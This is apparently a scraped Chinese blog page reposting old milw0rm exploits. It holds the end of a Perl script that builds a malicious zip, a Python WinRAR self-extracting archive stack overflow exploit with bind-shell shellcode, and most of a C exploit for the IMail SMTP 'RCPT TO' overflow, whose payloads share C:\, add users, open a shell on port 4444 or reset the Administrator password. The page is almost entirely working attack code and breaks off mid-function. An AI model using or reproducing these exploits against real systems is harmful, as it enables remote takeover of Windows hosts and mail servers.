"\x60\xC0\x80\x01\x03\x06\x0C\x18\x18\x3A\x06\x9A\xFF\x73\x88\xE9\x9D\x3F\xBD\xB3\xB5\xE8\x9A\xCC\x2D\x8F\x60\xFE\x3F\xF5\xC4\x2F\xAB\x11\x66\x4D".
"\x08\xE3\xB9\xFA\x11\x12\xF3\x75\x9E\xBF\x7A\x49\xCC\xD1\x43\x24\xE6\xDA\x9D\x24\xE6\xE3\x1B\x49\xEC\x18\xE8\x22\xB1\x93\x82\xD7\x0E\x78\xAE\xFF".
"\x14\x89\xB9\xFC\x33\x24\xE6\xF2\xBB\x49\xFC\x55\xAF\x3D\x24\xE6\xFE\x7B\x35\xD9\x7F\x21\x91\xA7\x4F\xBE\x16\xF3\x71\x9E\x9F\x87\xC5\x24\x5F\x9D".
"\x23\xF3\x3C\xDC\xAC\xE9\x64\x7B\x7A\xBA\xB0\x0F\x5E\x9D\x46\xFA\x1A\xED\x40\x76\x5E\xA6\xC8\x7B\xDF\xBA\x41\x46\xA6\xD0\xA6\xAF\x26\x2C\xF7\x45".
"\xFD\x6E\xD2\xE7\xE8\x8B\xB2\xFB\xE6\xE5\xB2\x16\x36\x93\xC4\x1D\x15\x9A\x9F\xDD\x9C\xEF\xC6\xBA\x9A\xEA\xC6\x05\x7C\x32\xBE\xA1\x37\xFF\x73\x61".
"\x5B\xB4\xDF\xF1\x58\xCE\x1C\x1A\xAE\xDA\x3A\x89\xFA\xCA\x32\x8E\xC4\x5F\x7D\x1B\xEA\xBE\x91\x71\xD4\xB7\x59\x81\x65\x7A\xA9\xF8\x14\x1D\x89\xBA".
"\x1C\x36\xE3\x88\xD6\x95\x67\x92\x1D\x8D\x31\x8C\x61\x2E\x06\x93\xEC\x50\x87\x61\x0C\x73\x39\x9A\x64\x47\x38\x2E\x76\x93\xAC\x7C\x97\x67\xA9\x0D".
"\x63\x98\x73\x63\x92\x1D\x2E\x31\x8C\x61\x0C\xF3\x4D\x8D\x71\x44\xCB\x38\xA2\x75\x65\x99\x0B\x73\x44\x2B\x7E\x4D\xCA\xC0\x85\x85\xBE\x56\xC9\x6B".
"\x80\xBC\xC7\x89\xD7\x01\x79\xC5\x93\xD7\x57\x79\xAF\x16\xEF\xD3\xE2\xBD\x59\xBC\x56\xCA\xEB\x95\xBC\x26\xCB\xFF\xEF\x87\xD7\x78\x33\x49\xAC\xE9".
"\xF2\x1E\x2E\x5E\xBB\xE5\x35\x58\xDE\xB9\xCD\xEB\xB7\xA3\xB4\x74\x57\x93\x7A\x38\x87\xAE\x21\xB1\x8E\x79\x2D\x89\x55\xD5\x71\x5A\xFC\x78\xD8\x13".
"\xC0\xEB\x48\xFC\xF7\x93\x89\xE0\xF5\xE0\x0D\x5A\xFC\x24\xD8\x93\x89\x4F\x96\x11\x4D\x05\x0B\xC1\x22\x90\xDB\x91\x03\x2C\x01\x4B\xB5\xB4\x5F\x83".
"\xD3\x35\xB7\x4E\x03\x67\x06\x6F\x84\x0F\xAA\xA7\xEA\xE6\xA9\xE7\xE7\xC2\xD4\x41\x83\x41\x2E\x59\x25\x5D\x16\xB7\xA1\x14\x9B\xF8\x2D\x61\xAF\x88".
"\x9E\x1F\x9F\xB6\xE2\x37\xEB\xD4\xFF\x8C\x72\x23\x69\xFB\xFF\x89\x4F\xFC\x39\xD5\x93\x6E\x43\x45\x1A\x99\x7A\xF5\x33\x92\xA5\x67\xF0\x5E\xC2\x67".
"\xB2\x85\xBB\x24\xEE\x5C\xE0\x50\x30\x1C\xFA\xF5\xDF\x0E\xCE\x56\xFF\x68\xBE\x64\x0A\xF7\x4A\x75\x1D\xDF\x85\x7A\x08\x52\x13\xB5\xA9\x07\x15\xF4".
"\x73\x8C\x67\x83\x31\xD0\xCF\x35\xCE\xEF\xED\xD9\xEA\x67\xF0\xFF\x6D\x62\x58\xA9\x41\xD5\xCA\xBF\x1C\xF0\xB3\xE7\xD3\x76\x9E\xDE\xD3\x91\xFA\x09".
"\xBE\x81\x51\x30\x84\xFA\x97\xF9\x92\x29\xDC\xD6\x7E\x25\x1F\x5C\x7E\x66\x42\x3F\x7F\xB7\x06\xA3\xBF\x00\xEC\xD4\x4E\x47\x48\x54\xA5\xFE\x52\x12".
"\xA2\xA5\x68\x05\x2D\x67\xBC\xEF\x74\xC8\x52\x8F\xEA\x0C\xAE\xFC\x8C\xC1\x6B\x1A\x18\x43\xD1\xAF\x83\xDB\xAE\xF1\x9D\xBC\x72\x21\xE1\xE9\x9B\xD3".
"\x44\x1B\x4A\xFC\x76\xF3\x77\x2A\x61\x6F\x73\x75\xB0\xA9\xAD\xD5\x1D\x88\xAA\x63\x82\xC5\x0D\x1C\x86\x20\xF5\x65\x66\x77\x91\x1E\x5F\x34\x93\x8E".
"\xCD\xFA\xD5\xBA\xD3\x36\x39\x03\x17\x11\xFE\x0F\x50\x4B\x01\x02\x14\x0B\x14\x00\x00\x00\x08\x00\x99\x3D\xE9\x34\xD6\xA6\xCB\xA3\xA9\x0D\x00\x00".
"\x00\x72\x00\x00\x0D\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20\x00\x00\x00\x00\x00\x00\x00\x77\x6F\x72\x64\x68\x6C\x69\x6E\x6B\x2E\x64\x6F\x63\x50".
"\x4B\x05\x06\x00\x00\x00\x00\x01\x00\x01\x00\x3B\x00\x00\x00\xD4\x0D\x00\x00\x00\x00";

open(olly, ">unzipme!.zip") || die "Can't Write temporary File\n";
binmode (olly);
print olly $all;
close (olly);
print "zip file ready, have
 fun..\n";


分类: 矩阵毒刺 标签:

WinRAR <= 3.60 beta 6 Local Stack Overflow Exploit

2006年11月6日 没有评论 53 views

"""
WinRAR - Stack Overflows in SelF - eXtracting Archives
======================================================

Tested Version(s)..: WinRAR 3.60 beta 4
Original Author.............: posidron
Shellcode Stuffing .........: muts

"""

import os, sys

winrar__ = 'C:\WinRAR.exe'
sfxnfo__ = "comment.txt"
result__ = "sample.exe"

# win32_bind -  EXITFUNC=seh LPORT=4444 Size=709 Encoder=PexAlphaNum http://metasploit.com */

sc = "\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x4f\x49\x49\x49\x49\x49"
sc +="\x49\x51\x5a\x56\x54\x58\x36\x33\x30\x56\x58\x34\x41\x30\x42\x36"
sc +="\x48\x48\x30\x42\x33\x30\x42\x43\x56\x58\x32\x42\x44\x42\x48\x34"
sc +="\x41\x32\x41\x44\x30\x41\x44\x54\x42\x44\x51\x42\x30\x41\x44\x41"
sc +="\x56\x58\x34\x5a\x38\x42\x44\x4a\x4f\x4d\x4e\x4f\x4c\x36\x4b\x4e"
sc +="\x4d\x34\x4a\x4e\x49\x4f\x4f\x4f\x4f\x4f\x4f\x4f\x42\x56\x4b\x58"
sc +="\x4e\x36\x46\x32\x46\x42\x4b\x58\x45\x44\x4e\x43\x4b\x58\x4e\x37"
sc +="\x45\x30\x4a\x47\x41\x50\x4f\x4e\x4b\x58\x4f\x54\x4a\x41\x4b\x48"
sc +="\x4f\x35\x42\x52\x41\x50\x4b\x4e\x49\x44\x4b\x48\x46\x53\x4b\x58"
sc +="\x41\x50\x50\x4e\x41\x43\x42\x4c\x49\x59\x4e\x4a\x46\x48\x42\x4c"
sc +="\x46\x57\x47\x30\x41\x4c\x4c\x4c\x4d\x30\x41\x50\x44\x4c\x4b\x4e"
sc +="\x46\x4f\x4b\x43\x46\x55\x46\x52\x4a\x52\x45\x47\x45\x4e\x4b\x48"
sc +="\x4f\x35\x46\x32\x41\x50\x4b\x4e\x48\x46\x4b\x48\x4e\x30\x4b\x54"
sc +="\x4b\x48\x4f\x55\x4e\x31\x41\x30\x4b\x4e\x43\x30\x4e\x42\x4b\x48"
sc +="\x49\x48\x4e\x56\x46\x42\x4e\x41\x41\x46\x43\x4c\x41\x33\x4b\x4d"
sc +="\x46\x36\x4b\x38\x43\x34\x42\x53\x4b\x48\x42\x54\x4e\x50\x4b\x48"
sc +="\x42\x37\x4e\x31\x4d\x4a\x4b\x48\x42\x44\x4a\x30\x50\x35\x4a\x36"
sc +="\x50\x38\x50\x44\x50\x30\x4e\x4e\x42\x35\x4f\x4f\x48\x4d\x48\x56"
sc +="\x43\x55\x48\x46\x4a\x46\x43\x33\x44\x53\x4a\x56\x47\x57\x43\x57"
sc +="\x44\x43\x4f\x45\x46\x45\x4f\x4f\x42\x4d\x4a\x36\x4b\x4c\x4d\x4e"
sc +="\x4e\x4f\x4b\x33\x42\x55\x4f\x4f\x48\x4d\x4f\x45\x49\x58\x45\x4e"
sc +="\x48\x46\x41\x58\x4d\x4e\x4a\x50\x44\x30\x45\x35\x4c\x56\x44\x50"
sc +="\x4f\x4f\x42\x4d\x4a\x46\x49\x4d\x49\x30\x45\x4f\x4d\x4a\x47\x45"
sc +="\x4f\x4f\x48\x4d\x43\x35\x43\x45\x43\x55\x43\x55\x43\x45\x43\x34"
sc +="\x43\x45\x43\x54\x43\x55\x4f\x4f\x42\x4d\x48\x36\x4a\x46\x41\x51"
sc +="\x4e\x35\x48\x56\x43\x45\x49\x38\x41\x4e\x45\x59\x4a\x56\x46\x4a"
sc +="\x4c\x51\x42\x57\x47\x4c\x47\x55\x4f\x4f\x48\x4d\x4c\x36\x42\x51"
sc +="\x41\x45\x45\x35\x4f\x4f\x42\x4d\x4a\x56\x46\x4a\x4d\x4a\x50\x32"
sc +="\x49\x4e\x47\x55\x4f\x4f\x48\x4d\x43\x55\x45\x55\x4f\x4f\x42\x4d"
sc +="\x4a\x36\x45\x4e\x49\x44\x48\x38\x49\x34\x47\x55\x4f\x4f\x48\x4d"
sc +="\x42\x55\x46\x55\x46\x45\x45\x55\x4f\x4f\x42\x4d\x43\x39\x4a\x46"
sc +="\x47\x4e\x49\x47\x48\x4c\x49\x37\x47\x55\x4f\x4f\x48\x4d\x45\x45"
sc +="\x4f\x4f\x42\x4d\x48\x36\x4c\x46\x46\x56\x48\x56\x4a\x36\x43\x36"
sc +="\x4d\x36\x49\x38\x45\x4e\x4c\x56\x42\x55\x49\x35\x49\x32\x4e\x4c"
sc +="\x49\x58\x47\x4e\x4c\x46\x46\x34\x49\x58\x44\x4e\x41\x33\x42\x4c"
sc +="\x43\x4f\x4c\x4a\x50\x4f\x44\x54\x4d\x32\x50\x4f\x44\x54\x4e\x32"
sc +="\x43\x59\x4d\x48\x4c\x37\x4a\x53\x4b\x4a\x4b\x4a\x4b\x4a\x4a\x46"
sc +="\x44\x47\x50\x4f\x43\x4b\x48\x31\x4f\x4f\x45\x57\x46\x44\x4f\x4f"
sc +="\x48\x4d\x4b\x55\x47\x45\x44\x55\x41\x55\x41\x45\x41\x45\x4c\x56"
sc +="\x41\x30\x41\x35\x41\x55\x45\x45\x41\x55\x4f\x4f\x42\x4d\x4a\x56"
sc +="\x4d\x4a\x49\x4d\x45\x50\x50\x4c\x43\x35\x4f\x4f\x48\x4d\x4c\x46"
sc +="\x4f\x4f\x4f\x4f\x47\x33\x4f\x4f\x42\x4d\x4b\x38\x47\x35\x4e\x4f"
sc +="\x43\x58\x46\x4c\x46\x56\x4f\x4f\x48\x4d\x44\x55\x4f\x4f\x42\x4d"
sc +="\x4a\x46\x42\x4f\x4c\x38\x46\x30\x4f\x45\x43\x55\x4f\x4f\x48\x4d"
sc +="\x4f\x4f\x42\x4d\x5a"

buf = "Path=" + "\x90" * (2035-len(sc)) +sc+ "\x3c\x15\xdc\x77" + "\x90" * 8 + "\xEB\x30\x90\x90" + "\r\nSavePath\r\n" # JMP ESP XP SP2

try:
    info = open(sfxnfo__, "w+b")
    info.write(buf)
    info.close()
except IOError:
    sys.exit("Error: unable to create: " + sfxnfo__)

print "Creating archive:",
os.spawnv(os.P_WAIT, winrar__, [winrar__, "a -sfx -s " + result__ + " " + __file__])
os.spawnv(os.P_WAIT, winrar__, [winrar__, "c -z" + sfxnfo__ + " " + result__])
print "done."
print "Executing:",
# debug only!
#os.spawnv(os.P_WAIT, result__, [result__, ""])
#print "done."
print "Cleaning up:",
os.remove(sfxnfo__)
print "done."

# milw0rm.com [2006-07-05]

分类: 矩阵毒刺 标签:

Ipswitch Imail Server 2006 / 8.x (rcpt) Remote Stack Overflow Exploit

2006年10月22日 没有评论 69 views

// IMail 2006 and 8.x SMTP Stack Overflow Exploit
// coded by Greg Linares [glinares.code[at]gmail[dot]com
// http://www.juniper.net/security/auto/vulnerabilities/vuln3414.html
// This works on the following versions:
// 2006 IMail prior to 2006.1 update


#include <stdio.h>
#include <string.h>
#include <windows.h>
#include <winsock.h>

#pragma comment(lib,"wsock32.lib")

int main(int argc, char *argv[])
{
static char overflow[1028];



// PAYLOADS
// Restricted Chars = 0x00 0x0D 0x0A 0x20 0x3e 0x22 (Maybe More)

/* win32_exec -  EXITFUNC=seh CMD=net share Export=C:\ /unlimited Size=188 Encoder=ShikataGaNai http://metasploit.com */
unsigned char RootShare[] =
"\xdb\xcb\x29\xc9\xba\xfa\xef\x47\x2b\xb1\x2a\xd9\x74\x24\xf4\x58"
"\x31\x50\x17\x83\xc0\x04\x03\xaa\xfc\xa5\xde\xb6\xeb\x6e\x21\x46"
"\xec\xe5\x64\x7a\x67\x85\x63\xfa\x76\x99\xe7\xb5\x60\xee\xa7\x69"
"\x90\x1b\x1e\xe2\xa6\x50\xa0\x1a\xf7\xa6\x3a\x4e\x7c\xe6\x49\x89"
"\xbc\x2d\xbc\x94\xfc\x59\x4b\xad\x54\xba\xb0\xa4\xb1\x49\xe7\x62"
"\x3b\xa5\x7e\xe1\x37\x72\xf4\xaa\x5b\x85\xe1\xdf\x78\x0e\xf4\x34"
"\x09\x4c\xd3\xce\xc9\x5c\xdb\xaa\x46\xde\xeb\xb7\x99\xa7\x07\x3c"
"\x59\x54\x93\x32\x46\xc9\x28\xda\x7e\xfa\x26\x91\xff\x4c\x38\xa5"
"\xff\x27\x51\x99\xa0\x06\x54\x81\x08\xe0\x60\xc2\x75\x89\xc0\xac"
"\x85\xe4\xe5\x73\x0e\x61\x1b\x01\xc0\xc6\x1b\xf2\xb3\x8d\x97\xdc"
"\x38\x26\x39\x6e\xda\x96\xfc\xf6\x54\xb8\x8c\x72\xa8\x05\x4b\x26"
"\xf2\xa6\xde\xb8\x9e\xd1\x4d\x2d\x2b\x47\xea\xad";


/* win32_bind -  EXITFUNC=seh LPORT=4444 Size=344 Encoder=Pex http://metasploit.com */
unsigned char Win32Bind[] =
"\x33\xc9\x83\xe9\xb0\xe8\xff\xff\xff\xff\xc0\x5e\x81\x76\x0e\x93"
"\x7b\xbd\x36\x83\xee\xfc\xe2\xf4\x6f\x11\x56\x7b\x7b\x82\x42\xc9"
"\x6c\x1b\x36\x5a\xb7\x5f\x36\x73\xaf\xf0\xc1\x33\xeb\x7a\x52\xbd"
"\xdc\x63\x36\x69\xb3\x7a\x56\x7f\x18\x4f\x36\x37\x7d\x4a\x7d\xaf"
"\x3f\xff\x7d\x42\x94\xba\x77\x3b\x92\xb9\x56\xc2\xa8\x2f\x99\x1e"
"\xe6\x9e\x36\x69\xb7\x7a\x56\x50\x18\x77\xf6\xbd\xcc\x67\xbc\xdd"
"\x90\x57\x36\xbf\xff\x5f\xa1\x57\x50\x4a\x66\x52\x18\x38\x8d\xbd"
"\xd3\x77\x36\x46\x8f\xd6\x36\x76\x9b\x25\xd5\xb8\xdd\x75\x51\x66"
"\x6c\xad\xdb\x65\xf5\x13\x8e\x04\xfb\x0c\xce\x04\xcc\x2f\x42\xe6"
"\xfb\xb0\x50\xca\xa8\x2b\x42\xe0\xcc\xf2\x58\x50\x12\x96\xb5\x34"
"\xc6\x11\xbf\xc9\x43\x13\x64\x3f\x66\xd6\xea\xc9\x45\x28\xee\x65"
"\xc0\x28\xfe\x65\xd0\x28\x42\xe6\xf5\x13\xac\x6a\xf5\x28\x34\xd7"
"\x06\x13\x19\x2c\xe3\xbc\xea\xc9\x45\x11\xad\x67\xc6\x84\x6d\x5e"
"\x37\xd6\x93\xdf\xc4\x84\x6b\x65\xc6\x84\x6d\x5e\x76\x32\x3b\x7f"
"\xc4\x84\x6b\x66\xc7\x2f\xe8\xc9\x43\xe8\xd5\xd1\xea\xbd\xc4\x61"
"\x6c\xad\xe8\xc9\x43\x1d\xd7\x52\xf5\x13\xde\x5b\x1a\x9e\xd7\x66"
"\xca\x52\x71\xbf\x74\x11\xf9\xbf\x71\x4a\x7d\xc5\x39\x85\xff\x1b"
"\x6d\x39\x91\xa5\x1e\x01\x85\x9d\x38\xd0\xd5\x44\x6d\xc8\xab\xc9"
"\xe6\x3f\x42\xe0\xc8\x2c\xef\x67\xc2\x2a\xd7\x37\xc2\x2a\xe8\x67"
"\x6c\xab\xd5\x9b\x4a\x7e\x73\x65\x6c\xad\xd7\xc9\x6c\x4c\x42\xe6"
"\x18\x2c\x41\xb5\x57\x1f\x42\xe0\xc1\x84\x6d\x5e\x63\xf1\xb9\x69"
"\xc0\x84\x6b\xc9\x43\x7b\xbd\x36";

/* win32_adduser -  PASS=Error EXITFUNC=seh USER=Error Size=236 Encoder=PexFnstenvSub http://metasploit.com */
unsigned char AddUser[] =
"\x2b\xc9\x83\xe9\xcb\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\xb2"
"\xe6\xaf\x6a\x83\xeb\xfc\xe2\xf4\x4e\x0e\xeb\x6a\xb2\xe6\x24\x2f"
"\x8e\x6d\xd3\x6f\xca\xe7\x40\xe1\xfd\xfe\x24\x35\x92\xe7\x44\x23"
"\x39\xd2\x24\x6b\x5c\xd7\x6f\xf3\x1e\x62\x6f\x1e\xb5\x27\x65\x67"
"\xb3\x24\x44\x9e\x89\xb2\x8b\x6e\xc7\x03\x24\x35\x96\xe7\x44\x0c"
"\x39\xea\xe4\xe1\xed\xfa\xae\x81\x39\xfa\x24\x6b\x59\x6f\xf3\x4e"
"\xb6\x25\x9e\xaa\xd6\x6d\xef\x5a\x37\x26\xd7\x66\x39\xa6\xa3\xe1"
"\xc2\xfa\x02\xe1\xda\xee\x44\x63\x39\x66\x1f\x6a\xb2\xe6\x24\x02"
"\x8e\xb9\x9e\x9c\xd2\xb0\x26\x92\x31\x26\xd4\x3a\xda\x16\x25\x6e"
"\xed\x8e\x37\x94\x38\xe8\xf8\x95\x55\x85\xc2\x0e\x9c\x83\xd7\x0f"
"\x92\xc9\xcc\x4a\xdc\x83\xdb\x4a\xc7\x95\xca\x18\x92\xa3\xdd\x18"
"\xdd\x94\x8f\x2f\xc0\x94\xc0\x18\x92\xc9\xee\x2e\xf6\xc6\x89\x4c"
"\x92\x88\xca\x1e\x92\x8a\xc0\x09\xd3\x8a\xc8\x18\xdd\x93\xdf\x4a"
"\xf3\x82\xc2\x03\xdc\x8f\xdc\x1e\xc0\x87\xdb\x05\xc0\x95\x8f\x2f"
"\xc0\x94\xc0\x18\x92\xc9\xee\x2e\xf6\xe6\xaf\x6a";

/* win32_exec -  CMD=net user Administrator "p@ssw0rd" Size=187 Encoder=Pex http://metasploit.com */
unsigned char ChangeAdmin[] =
"\x29\xc9\x83\xe9\xda\xe8\xff\xff\xff\xff\xc0\x5e\x81\x76\x0e\x74"
"\xb8\x4f\xba\x83\xee\xfc\xe2\xf4\x88\x50\x0b\xba\x74\xb8\xc4\xff"
"\x48\x33\x33\xbf\x0c\xb9\xa0\x31\x3b\xa0\xc4\xe5\x54\xb9\xa4\xf3"
"\xff\x8c\xc4\xbb\x9a\x89\x8f\x23\xd8\x3c\x8f\xce\x73\x79\x85\xb7"
"\x75\x7a\xa4\x4e\x4f\xec\x6b\xbe\x01\x5d\xc4\xe5\x50\xb9\xa4\xdc"
"\xff\xb4\x04\x31\x2b\xa4\x4e\x51\xff\xa4\xc4\xbb\x9f\x31\x13\x9e"
"\x70\x7b\x7e\x7a\x10\x33\x0f\x8a\xf1\x78\x37\xb6\xff\xf8\x43\x31"
"\x04\xa4\xe2\x31\x1c\xb0\xa4\xb3\xff\x38\xff\xba\x74\xb8\xc4\xd2"
"\x48\xe7\x7e\x4c\x14\xee\xc6\x42\xf7\x78\x34\xea\x1c\x48\xc5\xbe"
"\x2b\xd0\xd7\x44\xfe\xb6\x18\x45\x93\xd6\x2a\xce\x54\xcd\x3c\xdf"
"\x06\x98\x0b\xc8\x15\xd3\x2a\x9a\x5b\xd9\x2b\xde\x74\xb8\x4f\xba";


   WSADATA wsaData;

   struct hostent *hp;
   struct sockaddr_in sockin;
   char buf[300], *check;
   int sockfd, bytes;
   int plen, i, JMP;
   char *hostname;
   unsigned short port;

   printf("IMail 2006 and 8.x SMTP 'RCPT TO:' Stack Overflow Exploit\n");
   printf("Coded by Greg Linares < glinares.code  [at] GMAIL [dot] com >\n");
   if (argc <= 1)
   {
        printf("Usage: %s [hostname] [port] <Payload> <JMP>\n", argv[0]);
          printf("Default port is 25 \r\n");
        printf("==============================\n");
          printf("Payload Options: 1 = Default\n");
        printf("==============================\n");
          printf("1 = Share C:\\ as 'Export' Share\n");
          printf("2 = Add User 'Error' with Password 'Error'\n");
          printf("3 = Win32 Bind CMD to Port 4444\n");
        printf("4 = Change Administrator Password to 'p@ssw0rd'\n");
        printf("==============================\n");
          printf("JMP Options: 1 = Default\n");
     &
nbsp;  printf("==============================\n");
          printf("1 = IMAIL 8.x SMTPDLL.DLL       [pop ebp, ret] 0x10036f71 \n");
        printf("2 = Win2003 SP1 English NTDLL.DLL [pop ebp, ret] 0x7c87d8af \n");
        printf("3 = Win2003 SP0 English USER32.DLL [pop ebp, ret] 0x77d02289 \n");
        printf("4 = WinXP SP2 English NTDLL.DLL [pop ebp, ret] 0x7c967e23 \n");
        printf("5 = WinXP SP1 - SP0 English USER32.DLL [pop ebp, ret] 0x71ab389c \n");
        printf("6 = Win2000 Universal English USER32.DLL [pop ebp, ret] 0x75021397 \n");
        printf("7 = Win2000 Universal French USER32.DLL [pop ebp, ret] 0x74fa1397 \n");
        printf("8 = Windows XP SP1 - SP2 German USER32.DLL [pop ebp, ret] 0x77d18c14 \r\n");

      exit(0);
       }

       hostname = argv[1];
       if (argv[2]) port = atoi(argv[2]);
           else port = atoi("25");
       if (argv[4]) JMP = atoi(argv[4]);
        else JMP = atoi("1");

       if (WSAStartup(MAKEWORD(1, 1), &wsaData) < 0)
       {
        fprintf(stderr, "Error setting up with WinSock v1.1\n");
          exit(-1);
       }


       hp = gethostbyname(hostname);
       if (hp == NULL)
       {
          printf("ERROR: Uknown host %s\n", hostname);
          printf("%s",hostname);
          exit(-1);
       }

       sockin.sin_family = hp->h_addrtype;
       sockin.sin_port = htons(port);
       sockin.sin_addr = *((struct in_addr *)hp->h_addr);

       if ((sockfd = socket(AF_INET, SOCK_STREAM, 0)) == SOCKET_ERROR)
       {
          printf("ERROR: Socket Error\n");
          exit(-1);
       }

       if ((connect(sockfd, (struct sockaddr *) &sockin,
                sizeof(sockin))) == SOCKET_ERROR)
       {
          printf("ERROR: Connect Error\n");
          closesocket(sockfd);
          WSACleanup();
          exit(-1);
       }

       printf("Connected to [%s] on port [%d], sending overflow....\n",
          hostname, port);


       if ((bytes = recv(sockfd, buf, 300, 0)) == SOCKET_ERROR)
       {
          printf("ERROR: Recv Error\n");
          closesocket(sockfd);
          WSACleanup();
          exit(1);
       }

       /* wait for SMTP service welcome*/
       buf[bytes] = '\0';
       check = strstr(buf, "220");
       if (check == NULL)
       {
          printf("ERROR: NO  response from SMTP service\n");
          closesocket(sockfd);
          WSACleanup();
          exit(-1);
       }


   // JMP to EAX = Results in a Corrupted Stack
   // so instead we POP EBP, RET to restore pointer and then return
   // this causes code procedure to continue
   /*
           ['IMail 8.x Universal', 0x10036f71 ],
        ['Windows 2003 SP1 English', 0x7c87d8af ],
        ['Windows 2003 SP0 English', 0x77d5c14c ],
        ['Windows XP SP2 English', 0x7c967e23 ],
        ['Windows XP SP1 English', 0x71ab389c ],
        ['Windows XP SP0 English', 0x71ab389c ],
        ['Windows 2000 Universal English', 0x75021397 ],
        ['Windows 2000 Universal French', 0x74fa1397],
        ['Windows XP SP1 - SP2 German', 0x77d18c14],
    */
       char Exp[] = "RCPT TO: <@";                        // This stores our JMP between the @ and :
       char Win2k3SP1E[] = "\xaf\xd8\x87\x7c:"; &
nbsp;      //Win2k3 SP1 English NTDLL.DLL [pop ebp, ret] 0x7c87d8af
      char WinXPSP2E[] = "\x23\x7e\x96\x7c:";            //WinXP SP2 English  NTDLL.DLL [pop ebp, ret] 0x7c967e23
       char IMail815[] = "\x71\x6f\x03\x10:";             //IMAIL 8.15 SMTPDLL.DLL       [pop ebp, ret] 0x10036f71
    char Win2k3SP0E[] = "\x4c\xc1\xd5\x77:";        //Win2k3 SP0 English USER32.DLL [pop ebp, ret]0x77d5c14c
    char WinXPSP2[] = "\x23\x7e\x96\x7c:";            //WinXP SP2 English USER32.DLL [pop ebp, ret] 0x7c967e23
    char WinXPSP1[] = "\x9c\x38\xab\x71:";            //WinXP SP1 and 0 English U32    [pop ebp, ret]0x71ab389c
    char Win2KE[] = "\x97\x31\x02\x75:";            //Win2k English All SPs            [pop ebp, ret]0x75021397
    char Win2KF[] = "\x97\x13\xfa\x74:";            // As above except French Win2k    [pop ebp, ret]0x74fa1397
    char WinXPG[] = "\x14\x8c\xd1\x77:";            //WinXP SP1 - SP2 German U32    [pop ebp, ret]0x77d18c14

    char tail[] = "SSS>\n";                            // This closes the RCPT cmd.  Any characters work.
    // Another overflow can be achieved by using an overly long buffer after RCPT TO: on 8.15 systems
    // After around 560 bytes or so EIP gets overwritten.  But this method is easier to exploit and it works
    // On all versions from 8.x to 2006 (9.x?)
    char StackS[] = "\x81\xc4\xff\xef\xff\xff\x44";    // Stabolize Stack prior to payload.
       memset(overflow, 0, 1028);
       strcat(overflow, Exp);
    if (JMP == 1)
    {
        printf("Using IMail 8.15 SMTDP.DLL JMP\n");
        strcat(overflow, IMail815);
    } else if (JMP == 2)
    {
        printf("Using Win2003 SP1 NTDLL.DLL JMP\n");
        strcat(overflow, Win2k3SP1E);
    } else if (JMP == 3)
    {
        printf("Using Win2003 SP0 USER32.DLL JMP\n");
        strcat(overflow, Win2k3SP0E);
    } else if (JMP == 4)
    {
        printf("Using WinXP SP2 NTDLL.DLL JMP\n");
        strcat(overflow, WinXPSP2E);
    } else if (JMP == 5)
    {
        printf("Using WinXP SP1 and SP0 USER32.DLL JMP\n");
        strcat(overflow, WinXPSP1);
    } else if (JMP == 6)
    {
        printf("Using Win2000 Universal English USER32.DLL JMP\n");
        strcat(overflow, Win2KE);
    } else if (JMP == 7)
    {
        printf("Using Win2000 Universal French USER32.DLL JMP\n");
        strcat(overflow, WinSKF);
    } else if (JMP == 8)
    {
        printf("Using WinXP SP2 and SP1 German USER32.DLL JMP\n");
        strcat(overflow, WinXPG);
    } else {
        printf("Using IMail 8.15 SMTDP.DLL JMP\n");
        strcat(overflow, IMail815);
    }
        


    // Setup Payload Options
    if (atoi(argv[3]) == 1)
    {
        printf("Using Root Share Payload\n");
        plen = 544 - ((strlen(RootShare) + strlen(StackS)));
        for (i=0; i<plen; i++){
            strcat(overflow, "\x90");
        }
        strcat(overflow, StackS);
        strcat(overflow, RootShare);

    } else if (atoi(argv[3]) == 2)
    {
        printf("Using Add User Payload\n");
        plen = 544 - ((strlen(AddUser)+ strlen(StackS)));
        for (i=0; i<plen; i++){
            strcat(overflow, "\x90");
        }
        strcat(overflow, StackS);
        strcat(overflow, AddUser);
    } else if (atoi(argv[3]) == 3)
    {
        printf("Using Win32 CMD Bind Payload\n");
     &nbsp
;  plen = 544 - ((strlen(Win32Bind) + strlen(StackS)));
        for (i=0; i<plen; i++){
            strcat(overflow, "\x90");
        }
        strcat(overflow, StackS);
        strcat(overflow, Win32Bind);
    } else if (atoi(argv[3]) == 4)
    {
        printf("Using Change Admin Password Payload (Pwd = 'p@ssw0rd')\n");
        plen = 544 - ((strlen(ChangeAdmin) + strlen(StackS)));
        for (i=0; i<plen; i++){
            strcat(overflow, "\x90");
        }
        strcat(overflow, StackS);
        strcat(overflow, ChangeAdmin);
    } else
    {
        printf("Using Win32 CMD Bind Payload\n");
        plen = 544 - ((strlen(Win32Bind) + strlen(StackS)));
        for (i=0; i<plen; i++){
            strcat(overflow, "\x90");
        }
        strcat(overflow, StackS);
        strcat(overflow, Win32Bind);
    }

    // Dont forget to add the trailing characters to set up stack overflow
    strcat(overflow, tail);



    // Connect to SMTP Server and Setup Up Email
       char EHLO[] = "EHLO \r\n";
       char MF[] = "MAIL FROM <TEST@TEST> \r\n";
       send(sockfd, EHLO, strlen(EHLO), 0);
       Sleep(1000);
       send(sockfd, MF, strlen(MF), 0);
       Sleep(1000);


       if (send(sockfd, overflow, strlen(overflow),0) == SOCKET_ERROR)
       {
        printf("ERROR: Send Error\n");
          closesocket(sockfd);
          WSACleanup();
          exit(-1);
      }

      printf("Exploit Sent.....\r\n");
    if (atoi(argv[3]) == 3)
    {
        printf("Check Shell on Port 4444\n");
        closesocket(sockfd);
          WSACleanup();
          exit(0);
    }

    printf("Checking If Exploit Executed....\r\n");
    Sleep(1000);
    closesocket(sockfd);

    sockin.sin_family = hp->h_addrtype;
       sockin.sin_port = htons(port);
       sockin.sin_addr = *((struct in_addr *)hp->h_addr);

       if ((sockfd = socket(AF_INET, SOCK_STREAM, 0)) == SOCKET_ERROR)
       {
          printf("ERROR: Socket Error\n");
          exit(-1);
       }

       if ((connect(sockfd, (struct sockaddr *) &sockin,
                sizeof(sockin))) == SOCKET_ERROR)
       {
          printf("Exploit Successfully Delivered!\n");
        closesocket(sockfd);
        WSACleanup();
        printf("Don't Forget to Restart the IMAIL SMTP Service to Re-exploit!");
        exit(0);
       }
    printf("...");
    if ((bytes = recv(sockfd, buf, 300, 0)) == SOCKET_ERROR)
       {
          printf("Exploit Successfully Delivered!\n");
        closesocket(sockfd);
        WSACleanup();
